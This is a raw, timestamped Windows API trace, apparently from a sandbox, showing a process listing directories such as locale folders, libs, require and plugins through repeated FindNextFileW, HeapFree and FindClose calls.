	[0166.293] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0166.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.293] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0166.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.294] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0166.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.294] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0166.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.294] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0166.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.294] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0166.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.294] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0166.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.295] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0166.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.295] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0166.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.295] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0166.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.295] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0166.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.295] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0166.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.296] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0166.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.296] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0166.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.296] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0166.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.296] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0166.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.296] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0166.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.296] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0166.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.297] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0166.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.297] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0166.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.297] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0166.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.297] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0166.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.297] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0166.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.298] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0166.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.298] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0166.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.298] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0166.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.298] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0166.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.298] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0166.299] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0166.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0166.299] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0166.299] FindClose (in: hFindFile=0x394bc38 | out: hFindFile=0x394bc38) returned 1
	[0166.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0166.299] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0166.299] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0166.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0166.299] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0166.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0166.299] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0
	[0166.299] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0166.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.299] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1
	[0166.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0166.300] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0
	[0166.300] FindClose (in: hFindFile=0x394b678 | out: hFindFile=0x394b678) returned 1
	[0166.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0166.300] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0
	[0166.300] FindClose (in: hFindFile=0x394bc78 | out: hFindFile=0x394bc78) returned 1
	[0166.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0166.300] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1
	[0166.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0166.300] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1
	[0166.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
